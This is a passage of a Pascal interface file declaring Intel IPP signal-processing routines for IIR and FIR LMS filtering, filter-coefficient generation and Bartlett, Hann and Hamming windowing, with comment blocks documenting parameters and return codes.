function ippsIIRGetDlyLine64f_DF1_32s( pState : IppsIIRState64f_32sPtr ; pDlyLine : Ipp32sPtr ): IppStatus; _ippapi
function ippsIIRSetDlyLine64f_DF1_32s( pState : IppsIIRState64f_32sPtr ; const pDlyLine : Ipp32sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Filtering
----------------------------------------------------------------------------
Names: ippsIIR
Purpose: IIR filter with float or double taps. Vector filtering
Parameters:
pState - pointer to filter context
pSrcDst - pointer to input/output vector in in-place ops
pSrc - pointer to input vector
pDst - pointer to output vector
len - length of the vectors
scaleFactor - scale factor value
Return:
ippStsContextMatchErr - wrong context identifier
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsSizeErr - length of the vectors <= 0
ippStsNoErr - otherwise
Note: Don`t modify scaleFactor value unless context is changed
}
function ippsIIR_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; pState : IppsIIRState_32fPtr ): IppStatus; _ippapi
function ippsIIR_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; pState : IppsIIRState_32fPtr ): IppStatus; _ippapi
function ippsIIR_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; pState : IppsIIRState_32fcPtr ): IppStatus; _ippapi
function ippsIIR_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; pState : IppsIIRState_32fcPtr ): IppStatus; _ippapi
function ippsIIR32f_16s_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; pState : IppsIIRState32f_16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR32f_16s_ISfs( pSrcDst : Ipp16sPtr ; len : Int32 ; pState : IppsIIRState32f_16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR32fc_16sc_Sfs( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; pState : IppsIIRState32fc_16scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR32fc_16sc_ISfs( pSrcDst : Ipp16scPtr ; len : Int32 ; pState : IppsIIRState32fc_16scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; pState : IppsIIRState_64fPtr ): IppStatus; _ippapi
function ippsIIR_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; pState : IppsIIRState_64fPtr ): IppStatus; _ippapi
function ippsIIR_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; pState : IppsIIRState_64fcPtr ): IppStatus; _ippapi
function ippsIIR_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; pState : IppsIIRState_64fcPtr ): IppStatus; _ippapi
function ippsIIR64f_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; pState : IppsIIRState64f_32fPtr ): IppStatus; _ippapi
function ippsIIR64f_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; pState : IppsIIRState64f_32fPtr ): IppStatus; _ippapi
function ippsIIR64fc_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; pState : IppsIIRState64fc_32fcPtr ): IppStatus; _ippapi
function ippsIIR64fc_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; pState : IppsIIRState64fc_32fcPtr ): IppStatus; _ippapi
function ippsIIR64f_32s_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; pState : IppsIIRState64f_32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR64f_32s_ISfs( pSrcDst : Ipp32sPtr ; len : Int32 ; pState : IppsIIRState64f_32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR64fc_32sc_Sfs( pSrc : Ipp32scPtr ; pDst : Ipp32scPtr ; len : Int32 ; pState : IppsIIRState64fc_32scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR64fc_32sc_ISfs( pSrcDst : Ipp32scPtr ; len : Int32 ; pState : IppsIIRState64fc_32scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR64f_16s_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; pState : IppsIIRState64f_16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR64f_16s_ISfs( pSrcDst : Ipp16sPtr ; len : Int32 ; pState : IppsIIRState64f_16sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR64fc_16sc_Sfs( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; pState : IppsIIRState64fc_16scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsIIR64fc_16sc_ISfs( pSrcDst : Ipp16scPtr ; len : Int32 ; pState : IppsIIRState64fc_16scPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsIIR_32f_P, ippsIIR64f_32s_P
Purpose: IIR filter for multi-channel data. Vector filtering.
Parameters:
ppSrc - pointer to array of pointers to source vectors
ppDst - pointer to array of pointers to destination vectors
ppSrcDst - pointer to array of source/destination vectors in in-place ops
len - length of the vectors
nChannels - number of processing channels
ppState - pointer to array of filter contexts
Return:
ippStsContextMatchErr - wrong context identifier
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsSizeErr - length of the vectors <= 0
ippStsChannelErr - number of processing channels <= 0
ippStsNoErr - otherwise
}
function ippsIIR_32f_P( ppSrc : Ipp32fPtrPtr ; ppDst : Ipp32fPtrPtr ; len : Int32 ; nChannels : Int32 ; ppState : IppsIIRState_32fPtrPtr ): IppStatus; _ippapi
function ippsIIR_32f_IP( ppSrcDst : Ipp32fPtrPtr ; len : Int32 ; nChannels : Int32 ; ppState : IppsIIRState_32fPtrPtr ): IppStatus; _ippapi
function ippsIIR64f_32s_PSfs( ppSrc : Ipp32sPtrPtr ; ppDst : Ipp32sPtrPtr ; len : Int32 ; nChannels : Int32 ; ppState : IppsIIRState64f_32sPtrPtr ; pScaleFactor : Int32Ptr ): IppStatus; _ippapi
function ippsIIR64f_32s_IPSfs( ppSrcDst : Ipp32sPtrPtr ; len : Int32 ; nChannels : Int32 ; ppState : IppsIIRState64f_32sPtrPtr ; pScaleFactor : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
IIR filters (integer taps version)
----------------------------------------------------------------------------
Initialize IIR state with external memory buffer
----------------------------------------------------------------------------
Name: ippsIIRGetStateSize, ippsIIRGetStateSize_BiQuad,
ippsIIRGetStateSize_BiQuad_DF1_32f,
ippsIIRInit, ippsIIRInit_BiQuad,
ippsIIRInit_BiQuad_DF1_32f
Purpose: ippsIIRGetStateSize - calculates the size of the IIR State
structure;
ippsIIRInit - initialize IIR state - set taps and delay line
using external memory buffer;
Parameters:
pTaps - pointer to the filter coefficients;
order - order of the filter;
numBq - order of the filter;
pDlyLine - pointer to the delay line values, can be NULL;
ppState - double pointer to the IIR state created or NULL;
tapsFactor - scaleFactor for taps (integer version);
pBufferSize - pointer where to store the calculated IIR State structure
size (in bytes);
Return:
status - status value returned, its value are
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsIIROrderErr - order <= 0 or numBq < 1
ippStsNoErr - otherwise
}
{ ---------------------------------- 32f ---------------------------------- }
function ippsIIRGetStateSize_32f( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize_32fc( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize_BiQuad_32f( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize_BiQuad_DF1_32f( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize_BiQuad_32fc( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRInit_32f( ppState : IppsIIRState_32fPtrPtr ; pTaps : Ipp32fPtr ; order : Int32 ; pDlyLine : Ipp32fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit_32fc( ppState : IppsIIRState_32fcPtrPtr ; pTaps : Ipp32fcPtr ; order : Int32 ; pDlyLine : Ipp32fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit_BiQuad_32f( ppState : IppsIIRState_32fPtrPtr ; pTaps : Ipp32fPtr ; numBq : Int32 ; pDlyLine : Ipp32fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit_BiQuad_DF1_32f( pState : IppsIIRState_32fPtrPtr ; pTaps : Ipp32fPtr ; numBq : Int32 ; pDlyLine : Ipp32fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit_BiQuad_32fc( ppState : IppsIIRState_32fcPtrPtr ; pTaps : Ipp32fcPtr ; numBq : Int32 ; pDlyLine : Ipp32fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{-------------------------------- 32f_16s -------------------------------- }
function ippsIIRGetStateSize32f_16s( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize32fc_16sc( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize32f_BiQuad_16s( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize32fc_BiQuad_16sc( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRInit32f_16s( ppState : IppsIIRState32f_16sPtrPtr ; pTaps : Ipp32fPtr ; order : Int32 ; pDlyLine : Ipp32fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit32fc_16sc( ppState : IppsIIRState32fc_16scPtrPtr ; pTaps : Ipp32fcPtr ; order : Int32 ; pDlyLine : Ipp32fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit32f_BiQuad_16s( ppState : IppsIIRState32f_16sPtrPtr ; pTaps : Ipp32fPtr ; numBq : Int32 ; pDlyLine : Ipp32fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit32fc_BiQuad_16sc( ppState : IppsIIRState32fc_16scPtrPtr ; pTaps : Ipp32fcPtr ; numBq : Int32 ; pDlyLine : Ipp32fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{---------------------------------- 64f ---------------------------------- }
function ippsIIRGetStateSize_64f( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize_64fc( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize_BiQuad_64f( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize_BiQuad_64fc( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRInit_64f( ppState : IppsIIRState_64fPtrPtr ; pTaps : Ipp64fPtr ; order : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit_64fc( ppState : IppsIIRState_64fcPtrPtr ; pTaps : Ipp64fcPtr ; order : Int32 ; pDlyLine : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit_BiQuad_64f( ppState : IppsIIRState_64fPtrPtr ; pTaps : Ipp64fPtr ; numBq : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit_BiQuad_64fc( ppState : IppsIIRState_64fcPtrPtr ; pTaps : Ipp64fcPtr ; numBq : Int32 ; pDlyLine : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{-------------------------------- 64f_16s -------------------------------- }
function ippsIIRGetStateSize64f_16s( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64fc_16sc( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64f_BiQuad_16s( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64fc_BiQuad_16sc( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRInit64f_16s( ppState : IppsIIRState64f_16sPtrPtr ; pTaps : Ipp64fPtr ; order : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64fc_16sc( ppState : IppsIIRState64fc_16scPtrPtr ; pTaps : Ipp64fcPtr ; order : Int32 ; pDlyLine : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64f_BiQuad_16s( ppState : IppsIIRState64f_16sPtrPtr ; pTaps : Ipp64fPtr ; numBq : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64fc_BiQuad_16sc( ppState : IppsIIRState64fc_16scPtrPtr ; pTaps : Ipp64fcPtr ; numBq : Int32 ; pDlyLine : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{-------------------------------- 64f_32s -------------------------------- }
function ippsIIRGetStateSize64f_32s( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64fc_32sc( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64f_BiQuad_32s( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64f_BiQuad_DF1_32s( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64fc_BiQuad_32sc( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRInit64f_32s( ppState : IppsIIRState64f_32sPtrPtr ; pTaps : Ipp64fPtr ; order : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64fc_32sc( ppState : IppsIIRState64fc_32scPtrPtr ; pTaps : Ipp64fcPtr ; order : Int32 ; pDlyLine : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64f_BiQuad_32s( ppState : IppsIIRState64f_32sPtrPtr ; pTaps : Ipp64fPtr ; numBq : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64f_BiQuad_DF1_32s( ppState : IppsIIRState64f_32sPtrPtr ; pTaps : Ipp64fPtr ; numBq : Int32 ; pDlyLine : Ipp32sPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64fc_BiQuad_32sc( ppState : IppsIIRState64fc_32scPtrPtr ; pTaps : Ipp64fcPtr ; numBq : Int32 ; pDlyLine : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{-------------------------------- 64f_32f -------------------------------- }
function ippsIIRGetStateSize64f_32f( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64fc_32fc( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64f_BiQuad_32f( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRGetStateSize64fc_BiQuad_32fc( numBq : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsIIRInit64f_32f( ppState : IppsIIRState64f_32fPtrPtr ; pTaps : Ipp64fPtr ; order : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64fc_32fc( ppState : IppsIIRState64fc_32fcPtrPtr ; pTaps : Ipp64fcPtr ; order : Int32 ; pDlyLine : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64f_BiQuad_32f( ppState : IppsIIRState64f_32fPtrPtr ; pTaps : Ipp64fPtr ; numBq : Int32 ; pDlyLine : Ipp64fPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRInit64fc_BiQuad_32fc( ppState : IppsIIRState64fc_32fcPtrPtr ; pTaps : Ipp64fcPtr ; numBq : Int32 ; pDlyLine : Ipp64fcPtr ; pBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsIIRGenLowpass_64f, ippsIIRGenHighpass_64f
Purpose: This function computes the highpass and lowpass IIR filter coefficients
Parameters:
rFreq - Cut off frequency (0 < rFreq < 0.5).
ripple - Possible ripple in pass band for ippChebyshev1 type of filter.
order - The order of future filter (1 <= order <= 12).
pTaps - Pointer to the array which specifies the filter coefficients.
filterType - Type of required filter (ippButterworth or ippChebyshev1).
pBuffer - Pointer to the buffer for internal calculations. The size calculates by ippsIIRGenGetBufferSize.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsIIRPassbandRippleErr - Error when the ripple in passband for Chebyshev1 design is less zero, equal to zero or greater than 29.
ippStsFilterFrequencyErr - Error when the cut of frequency of filter is less zero, equal to zero or greater than 0.5.
ippStsIIRGenOrderErr - Error when the order of an IIR filter for design them is less than one or greater than 12.
}
function ippsIIRGenLowpass_64f( rFreq : Ipp64f ; ripple : Ipp64f ; order : Int32 ; pTaps : Ipp64fPtr ; filterType : IppsIIRFilterType ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsIIRGenHighpass_64f( rFreq : Ipp64f ; ripple : Ipp64f ; order : Int32 ; pTaps : Ipp64fPtr ; filterType : IppsIIRFilterType ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsIIRGenGetBufferSize
Purpose: Gets the size (in bytes) of the buffer for ippsIIRGen internal calculations.
Parameters:
order - The order of future filter (1 <= order <= 12).
pBufferSize - Pointer to the calculated buffer size (in bytes).
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsIIRGenOrderErr - Error when the order of an IIR filter for design them is less than one or greater than 12.
}
function ippsIIRGenGetBufferSize( order : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
FIR filters (float and double taps versions)
----------------------------------------------------------------------------
FIR LMS filters
----------------------------------------------------------------------------
Name: ippsFIRLMSGetStateSize, ippsFIRLMSInit
Purpose: ippsFIRLMSGetStateSize - calculates the size of the FIR State
structure;
ippsFIRLMSInit - initialize FIR state - set taps and delay line
using external memory buffer;
Parameters:
pTaps - pointer to the filter coefficients;
tapsLen - number of coefficients;
dlyIndex current index value for the delay line
pDlyLine - pointer to the delay line values, can be NULL;
ppState - pointer to the FIR state created or NULL;
pStateSize - pointer where to store the calculated FIR State structure
Return:
status - status value returned, its value are
ippStsNullPtrErr - pointer(s) to the data is NULL
ippStsFIRLenErr - tapsLen <= 0
ippStsNoErr - otherwise
}
function ippsFIRLMSGetStateSize_32f( tapsLen : Int32 ; dlyIndex : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsFIRLMSGetStateSize32f_16s( tapsLen : Int32 ; dlyIndex : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
function ippsFIRLMSInit_32f( ppState : IppsFIRLMSState_32fPtrPtr ; pTaps : Ipp32fPtr ; tapsLen : Int32 ; pDlyLine : Ipp32fPtr ; dlyIndex : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRLMSInit32f_16s( ppState : IppsFIRLMSState32f_16sPtrPtr ; pTaps : Ipp32fPtr ; tapsLen : Int32 ; pDlyLine : Ipp16sPtr ; dlyIndex : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsFIRLMS
Purpose: LMS filtering with context use
Parameters:
pState pointer to the state
pSrc pointer to the source signal
pRef pointer to the desired signal
pDst pointer to the output signal
len length of the signals
mu adaptation step
Return:
ippStsNullPtrErr pointer to the data is null
ippStsSizeErr the length of signals is equal or less zero
ippStsContextMatchErr wrong state identifier
ippStsNoErr otherwise
}
function ippsFIRLMS_32f( pSrc : Ipp32fPtr ; pRef : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; mu : float ; pState : IppsFIRLMSState_32fPtr ): IppStatus; _ippapi
function ippsFIRLMS32f_16s( pSrc : Ipp16sPtr ; pRef : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; mu : float ; pState : IppsFIRLMSState32f_16sPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsFIRLMSGetTaps
Purpose: get taps values
Parameters:
pstate pointer to the state
pTaps pointer to the array to store the taps values
Return:
ippStsNullPtrErr pointer to the data is null
ippStsNoErr otherwise
}
function ippsFIRLMSGetTaps_32f( pState : IppsFIRLMSState_32fPtr ; pOutTaps : Ipp32fPtr ): IppStatus; _ippapi
function ippsFIRLMSGetTaps32f_16s( pState : IppsFIRLMSState32f_16sPtr ; pOutTaps : Ipp32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsFIRLMSGetDlyl, ippsFIRLMSSetDlyl
Purpose: set or get delay line
Parameters:
pState pointer to the state structure
pDlyLine pointer to the delay line of the single size = tapsLen
pDlyLineIndex pointer to get the current delay line index
Return:
ippStsNullPtrErr pointer to the data is null
ippStsContextMatchErr wrong state identifier
ippStsNoErr otherwise
}
function ippsFIRLMSGetDlyLine_32f( pState : IppsFIRLMSState_32fPtr ; pDlyLine : Ipp32fPtr ; pDlyLineIndex : Int32Ptr ): IppStatus; _ippapi
function ippsFIRLMSGetDlyLine32f_16s( pState : IppsFIRLMSState32f_16sPtr ; pDlyLine : Ipp16sPtr ; pDlyLineIndex : Int32Ptr ): IppStatus; _ippapi
function ippsFIRLMSSetDlyLine_32f( pState : IppsFIRLMSState_32fPtr ; pDlyLine : Ipp32fPtr ; dlyLineIndex : Int32 ): IppStatus; _ippapi
function ippsFIRLMSSetDlyLine32f_16s( pState : IppsFIRLMSState32f_16sPtr ; pDlyLine : Ipp16sPtr ; dlyLineIndex : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
FIR LMS MR filters
----------------------------------------------------------------------------
Names: ippsFIRGen
Purpose: This function computes the lowpass FIR filter coefficients
by windowing of ideal (infinite) filter coefficients segment.
Parameters:
rFreq - Cut off frequency (0 < rfreq < 0.5).
pTaps - Pointer to the array which specifies the filter coefficients.
tapsLen - The number of taps in pTaps[] array (tapsLen>=5).
winType - The ippWindowType switch variable, which specifies the smoothing window type.
doNormal - If doNormal=0 the functions calculates non-normalized sequence of filter coefficients,
in other cases the sequence of coefficients will be normalized.
pBuffer - Pointer to the buffer for internal calculations. The size calculates by ippsFIRGenGetBufferSize.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when the length of coefficient`s array is less than 5.
ippStsSizeErr - Error when the low or high frequency isn`t satisfy the condition 0 < rLowFreq < 0.5.
}
function ippsFIRGenLowpass_64f( rFreq : Ipp64f ; pTaps : Ipp64fPtr ; tapsLen : Int32 ; winType : IppWinType ; doNormal : IppBool ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRGenHighpass_64f( rFreq : Ipp64f ; pTaps : Ipp64fPtr ; tapsLen : Int32 ; winType : IppWinType ; doNormal : IppBool ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRGenBandpass_64f( rLowFreq : Ipp64f ; rHighFreq : Ipp64f ; pTaps : Ipp64fPtr ; tapsLen : Int32 ; winType : IppWinType ; doNormal : IppBool ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFIRGenBandstop_64f( rLowFreq : Ipp64f ; rHighFreq : Ipp64f ; pTaps : Ipp64fPtr ; tapsLen : Int32 ; winType : IppWinType ; doNormal : IppBool ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsFIRGenGetBufferSize
Purpose: Gets the size (in bytes) of the buffer for ippsFIRGen internal calculations.
Parameters:
tapsLen - The number of taps.
pBufferSize - Pointer to the calculated buffer size (in bytes).
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when the length of coefficient`s array is less than 5.
}
function ippsFIRGenGetBufferSize( tapsLen : Int32 ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Windowing functions
Note: to create the window coefficients you have to make two calls
Set(1,x,n) and Win(x,n)
{ ----------------------------------------------------------------------------
Names: ippsWinBartlett
Parameters:
pSrcDst pointer to the vector
len length of the vector, window size
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vector is less 3
ippStsNoErr otherwise
}
function ippsWinBartlett_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBartlett_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsWinHann
Parameters:
pSrcDst pointer to the vector
len length of the vector, window size
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vector is less 3
ippStsNoErr otherwise
Functionality: 0.5*(1-cos(2*pi*n/(N-1)))
}
function ippsWinHann_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHann_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsWinHamming
Parameters:
pSrcDst pointer to the vector
len length of the vector, window size
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vector is less 3
ippStsNoErr otherwise
}
function ippsWinHamming_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinHamming_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
